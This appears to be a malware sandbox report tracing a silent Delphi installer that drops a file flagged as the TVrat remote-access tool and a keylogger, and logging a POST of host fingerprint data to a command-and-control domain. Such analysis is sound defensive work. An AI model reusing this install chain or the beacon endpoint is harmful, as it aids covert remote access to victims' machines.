2024-11-19 17:57:12 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.
2024-11-19 17:57:12 UTC	403	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.19045) x64

Target ID:	0
Start time:	12:55:01
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\wjpP1EOX0L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wjpP1EOX0L.exe"
Imagebase:	0x400000
File size:	6'810'986 bytes
MD5 hash:	34DC961FE0A98EA779D7B673A48C77A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:55:01
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp" /SL5="$20476,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe"
Imagebase:	0x400000
File size:	1'179'648 bytes
MD5 hash:	90FC739C83CD19766ACB562C66A7D0E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:55:02
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\wjpP1EOX0L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m
Imagebase:	0x400000
File size:	6'810'986 bytes
MD5 hash:	34DC961FE0A98EA779D7B673A48C77A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:55:02
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp" /SL5="$2047E,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m
Imagebase:	0x400000
File size:	1'179'648 bytes
MD5 hash:	90FC739C83CD19766ACB562C66A7D0E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:55:38
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\mo6x\xuwl3fl.bat""
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:55:38
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:55:38
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\xcopy.exe
Wow64 process (32bit):	true
Commandline:	xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\mo6x\*" "C:\Users\user\AppData\Roaming\im\"
Imagebase:	0xf60000
File size:	43'520 bytes
MD5 hash:	7E9B7CE496D09F70C072930940F9F02C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:56:09
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\im\ast.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\im\ast.exe"
Imagebase:	0x400000
File size:	7'543'992 bytes
MD5 hash:	8002D9E5851728EB024B398CF19DE390
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\im\ast.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\im\ast.exe, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Roaming\im\ast.exe, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:56:19
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\im\ast.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\im\ast.exe"
Imagebase:	0x400000
File size:	7'543'992 bytes
MD5 hash:	8002D9E5851728EB024B398CF19DE390
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	1299
Total number of Limit Nodes:	116

Executed Functions

Function 6B906D50 Relevance: 24.2, APIs: 16, Instructions: 171
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 6B906D80
htonl.WS2_32(7F000001), ref: 6B906DA3
setsockopt.WS2_32(00000000,0000FFFF,00000004,00000001,00000004), ref: 6B906DCD
bind.WS2_32(00000000,?,00000010), ref: 6B906DE3
getsockname.WS2_32(00000000,?,00000010), ref: 6B906DFB
listen.WS2_32(00000000,00000001), ref: 6B906E0D
socket.WS2_32(00000002,00000001,00000000), ref: 6B906E22
connect.WS2_32(00000000,?,00000010), ref: 6B906E36
accept.WS2_32(00000000,00000000,00000000), ref: 6B906E4A
curl_msnprintf.LIBCURL(?,0000000C,6B940CA0,6B8D1172), ref: 6B906E68
send.WS2_32(6B8D1172,?,?,00000000), ref: 6B906E88
recv.WS2_32(C74C79C0,00000001,0000000C,00000000), ref: 6B906E9D
closesocket.WS2_32(00000000), ref: 6B906EF6
closesocket.WS2_32(00000000), ref: 6B906F16
closesocket.WS2_32(6B8D1172), ref: 6B906F1A
closesocket.WS2_32(C74C79C0), ref: 6B906F1F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: closesocket$socket$acceptbindconnectcurl_msnprintfgetsocknamehtonllistenrecvsendsetsockopt
String ID:
API String ID: 4135244658-0
Opcode ID: e3847561f87b6e087068377100dd8c6ddeade52681c0ea59069f12b504c7311f
Instruction ID: 0d3396fbe07ac2ce3c8038bb8e824da9f85bd99b668d525327a635305353a943
Opcode Fuzzy Hash: e3847561f87b6e087068377100dd8c6ddeade52681c0ea59069f12b504c7311f
Instruction Fuzzy Hash: 0B51D731904118ABDB209F78CC85BBD7B79AF16334F2043A9E975AA1D0DB75D886CB60

Function 6B8FFEF0 Relevance: 15.3, APIs: 10, Instructions: 347
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726), ref: 6B8FFF52
WSASetLastError.WS2_32(00002726,00000000,00000001,000000FF), ref: 6B900105
WSASetLastError.WS2_32(00002726,00000000,00000001,000000FF), ref: 6B90012E
Sleep.KERNEL32(FFFFFFFE,00000000,00000001,000000FF), ref: 6B900157
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B9001AA
select.WS2_32(?,?,?,?,?), ref: 6B900271
__WSAFDIsSet.WS2_32(?,?), ref: 6B9002A9
__WSAFDIsSet.WS2_32(?,?), ref: 6B9002E9
__WSAFDIsSet.WS2_32(?,?), ref: 6B900306
Sleep.KERNEL32(FFFFFFFE), ref: 6B90037E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast$Sleep$Unothrow_t@std@@@__ehfuncinfo$??2@select
String ID:
API String ID: 1691268743-0
Opcode ID: a88f4f09adbb2f6151ba90d52ef15916c0021b563470ad1963238f1782358965
Instruction ID: 5c926475dc604d6beb03cb11f3f75c3f794dd9a7604ecc6e00d35d12fbb0aec3
Opcode Fuzzy Hash: a88f4f09adbb2f6151ba90d52ef15916c0021b563470ad1963238f1782358965
Instruction Fuzzy Hash: 06D1A570A0421D8BEB65CF29C8507AA73B9EF59714F1086EDE869D7290DF78CA80CB44

Function 6B8F6EF0 Relevance: 12.5, APIs: 8, Instructions: 497
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fcd29f128afd7dc6208c5102b42c3602cd0db76daccd7810685d76146b3a20f
Instruction ID: e5f7349f2cb89baaac90f76a089c742f17ae9e3f41e03f2bfa90a4bba6443abc
Opcode Fuzzy Hash: 2fcd29f128afd7dc6208c5102b42c3602cd0db76daccd7810685d76146b3a20f
Instruction Fuzzy Hash: 15027E79E002199FEF10CFA8C881BAEB7B9FF58350F504569E955EB291E739D802CB50

Function 6B8D2D20 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Connection time-out, xrefs: 6B8D32C4
After %I64dms connect time, move on!, xrefs: 6B8D2F3C
Failed to connect to %s port %ld: %s, xrefs: 6B8D327D
connect to %s port %ld failed: %s, xrefs: 6B8D3070

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: After %I64dms connect time, move on!$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 0-184998888
Opcode ID: ada8208aff8a28491fd0e22a1728219d784a3a8e640fe1a5a388004d92907d0c
Instruction ID: 144e462b26fe86d34814f334647b24520a338b3e0a008a7c812270024a439969
Opcode Fuzzy Hash: ada8208aff8a28491fd0e22a1728219d784a3a8e640fe1a5a388004d92907d0c
Instruction Fuzzy Hash: D9F1D270E006189BDB219F38DC41BEAB3B5EF85319F0049DEE95DA7251DB39AE84CB50

Function 6B9009F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(?,?,?,00000000), ref: 6B900B04
send.WS2_32(?,?,?,00000000), ref: 6B900B2B
WSAGetLastError.WS2_32 ref: 6B900B3E

Strings

Send failure: %s, xrefs: 6B900B82

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLastrecvsend
String ID: Send failure: %s
API String ID: 3418755260-857917747
Opcode ID: 31e20452ddee766bd9d2968f0331ee43b1236cf68786baa121f47136b52c216a
Instruction ID: f0d24365b228dca41d212296940e7ac136390348647f567bd7f03f8db2001806
Opcode Fuzzy Hash: 31e20452ddee766bd9d2968f0331ee43b1236cf68786baa121f47136b52c216a
Instruction Fuzzy Hash: E251AD71A0421D9FDF24CF28CC41BA9B7F9AF15328F0042ADE969D7290CB74E991CB91

Function 6B8D40C0 Relevance: 30.2, APIs: 10, Strings: 7, Instructions: 421
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(?,?,?), ref: 6B8D41C1

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

setsockopt.WS2_32(00000000,00000006,00000001,?,00000004), ref: 6B8D42C8
WSAGetLastError.WS2_32(?,00000100), ref: 6B8D42DE
getsockopt.WS2_32(00000000,0000FFFF,00001001,00000000,00000004), ref: 6B8D4377
setsockopt.WS2_32(00000000,0000FFFF,00001001,00004020,00000004), ref: 6B8D43A3
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000000,00000004), ref: 6B8D43DE
WSAIoctl.WS2_32(00000000,98000004,00000001,0000000C,00000000,00000000,00000004,00000000,00000000), ref: 6B8D4461
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000007), ref: 6B8D446B

Part of subcall function 6B8FA660: ioctlsocket.WS2_32(00000000,8004667E,6B8D4554), ref: 6B8FA67A

Part of subcall function 6B90E5D0: QueryPerformanceCounter.KERNEL32(6B8FF03B,?,6B8D669E,6B8FF03B,?,?,?,?), ref: 6B90E5E5
Part of subcall function 6B90E5D0: __alldvrm.LIBCMT ref: 6B90E5FE
Part of subcall function 6B90E5D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B90E627

connect.WS2_32(00000000,?,?), ref: 6B8D45D2

Part of subcall function 6B8F69D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8F6A0D

WSAGetLastError.WS2_32 ref: 6B8D4604

Strings

Trying %s:%ld..., xrefs: 6B8D4271
@, xrefs: 6B8D430C
Failed to set SO_KEEPALIVE on fd %d, xrefs: 6B8D43E9
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 6B8D4473
Immediate connect fail for %s: %s, xrefs: 6B8D463A
Could not set TCP_NODELAY: %s, xrefs: 6B8D42EB
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 6B8D4235

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLastsetsockopt$Unothrow_t@std@@@__ehfuncinfo$??2@$CounterIoctlPerformanceQuery__alldvrmconnectcurl_msnprintfcurl_mvsnprintfgetsockoptioctlsocketsocket
String ID: Trying %s:%ld...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 194311702-3868455274
Opcode ID: 984086e28aeed9a14f46dad4b99d3572c469b34810c2d6651b7f5e00390ddf11
Instruction ID: 982c8c1da1a1c60c53a308c77e3434650d1b6564d8f9ffd775e994d30a428304
Opcode Fuzzy Hash: 984086e28aeed9a14f46dad4b99d3572c469b34810c2d6651b7f5e00390ddf11
Instruction Fuzzy Hash: E8F1BF71940219ABEB20DF74CC8AFAEB7B9EF45308F1405E7E509A7191DB799E808F50

Function 6B8E2EA0 Relevance: 23.6, APIs: 2, Strings: 11, Instructions: 800COMMON

Download Yara Rule

Strings

anonymous, xrefs: 6B8E3013
No more connections allowed to host %s: %zu, xrefs: 6B8E36CD
No connections available in cache, xrefs: 6B8E3823
proxy, xrefs: 6B8E3613, 6B8E361B
NTLM picked AND auth done set, clear picked!, xrefs: 6B8E3782
Couldn't resolve host '%s', xrefs: 6B8E38EA
host, xrefs: 6B8E360D
Re-using existing connection! (#%ld) with %s %s, xrefs: 6B8E3622
No connections available., xrefs: 6B8E36DB
Couldn't resolve proxy '%s', xrefs: 6B8E397B
NTLM-proxy picked AND auth done set, clear picked!, xrefs: 6B8E37AE

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: Couldn't resolve host '%s'$Couldn't resolve proxy '%s'$NTLM picked AND auth done set, clear picked!$NTLM-proxy picked AND auth done set, clear picked!$No connections available in cache$No connections available.$No more connections allowed to host %s: %zu$Re-using existing connection! (#%ld) with %s %s$anonymous$host$proxy
API String ID: 0-2910903954
Opcode ID: 907e5d249c05d55fb42a1a55e6e2f093ad6c615001a556c6f1fd0038b1254305
Instruction ID: 37f514d9d5d2fda9b0d1eb685eb0cfe2e3bf0d2b5b306dbf321e6bf4106dd49e
Opcode Fuzzy Hash: 907e5d249c05d55fb42a1a55e6e2f093ad6c615001a556c6f1fd0038b1254305
Instruction Fuzzy Hash: 8762D770A04746ABD726CF74C881BEBB7F4BF06308F00056DE86997251EB39AD55CBA1

Function 6B8D9E30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

easy handle already used in multi handle, xrefs: 6B8D9E59

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: easy handle already used in multi handle
API String ID: 0-2284409743
Opcode ID: cbdea9f7fcbc22b0ece9dec74097b449664efa62bb03fa7bb096ebd8b547a1e0
Instruction ID: a4d124602c423e0733eeed809e59df6c71863c78e7efa87e9c406768e7d21d3c
Opcode Fuzzy Hash: cbdea9f7fcbc22b0ece9dec74097b449664efa62bb03fa7bb096ebd8b547a1e0
Instruction Fuzzy Hash: FB316E76E0011457EB218D69ECC2BABB7ACDB816A5F0405FBEC0CDB242E76DCC1182E1

Function 6B8D36A0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 211
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32(?,?,?), ref: 6B8D36FE
WSAGetLastError.WS2_32 ref: 6B8D3708

Part of subcall function 6B90A0E0: GetLastError.KERNEL32(?,?,00000100), ref: 6B90A0E7

Part of subcall function 6B9005D0: curl_mvsnprintf.LIBCURL(?,00000100,6B8FC830,?), ref: 6B900610

getsockname.WS2_32(?,?,00000080), ref: 6B8D3772
WSAGetLastError.WS2_32 ref: 6B8D377C

Strings

getpeername() failed with errno %d: %s, xrefs: 6B8D3724
ssrem inet_ntop() failed with errno %d: %s, xrefs: 6B8D3801
getsockname() failed with errno %d: %s, xrefs: 6B8D3798
ssloc inet_ntop() failed with errno %d: %s, xrefs: 6B8D38A0

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast$curl_mvsnprintfgetpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 673488319-670633250
Opcode ID: 16f6105c519ef0b2bd3e0279cbe4f13fa120267730848af49d5a3430940a6ea6
Instruction ID: 3241dc4535d3ef40d0b5423c6ced990bc8c10a394a306dae62725b6c6aac6820
Opcode Fuzzy Hash: 16f6105c519ef0b2bd3e0279cbe4f13fa120267730848af49d5a3430940a6ea6
Instruction Fuzzy Hash: 7B81D675900608ABD721DF74C841BEAB3F8FF59308F1045AEE99D97242EB35BA85CB50

Function 6B8D16D0 Relevance: 12.1, APIs: 8, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_msnprintf.LIBCURL(?,0000000C,6B93B330,?), ref: 6B8D16FA

Part of subcall function 6B8D6E10: getaddrinfo.WS2_32(?,?,?,6B93B330), ref: 6B8D6E2E

WSAGetLastError.WS2_32 ref: 6B8D1722
WSAGetLastError.WS2_32 ref: 6B8D1728
EnterCriticalSection.KERNEL32(?), ref: 6B8D173B
LeaveCriticalSection.KERNEL32(?), ref: 6B8D1749
send.WS2_32(?,?,00000001,00000000), ref: 6B8D1778
WSAGetLastError.WS2_32 ref: 6B8D1782
LeaveCriticalSection.KERNEL32(?), ref: 6B8D1790

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CriticalErrorLastSection$Leave$Entercurl_msnprintfgetaddrinfosend
String ID:
API String ID: 1592919352-0
Opcode ID: b525758311a51527db36f3348d10dd264a97e639c4da523467e38c5993db4181
Instruction ID: f4e571c50a500f5d292376d5cd2b68964b284bd3cc644e6962cf756dfa1678fc
Opcode Fuzzy Hash: b525758311a51527db36f3348d10dd264a97e639c4da523467e38c5993db4181
Instruction Fuzzy Hash: 5E21A335500619EFDB20AFB5CC85BABB7F9EF45300F004A2AE656C3250EB35E915CBA0

Function 6B8EA820 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_msnprintf.LIBCURL(?,00000080,PROXY %s %s %s %li %li,?,?,?,?,?), ref: 6B8EA8EC

Strings

TCP6, xrefs: 6B8EA89E
TCP4, xrefs: 6B8EA8AD
PROXY %s %s %s %li %li, xrefs: 6B8EA8DB

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: PROXY %s %s %s %li %li$TCP4$TCP6
API String ID: 1809024409-1242256665
Opcode ID: a90f215344d6a39a09428f975154f263db92eb9a2ce77a3c3742b0b94be0ea7d
Instruction ID: fac14e071e3d0ec2b9652a98a1d44de45f3afa87c49179a039b6a59471682759
Opcode Fuzzy Hash: a90f215344d6a39a09428f975154f263db92eb9a2ce77a3c3742b0b94be0ea7d
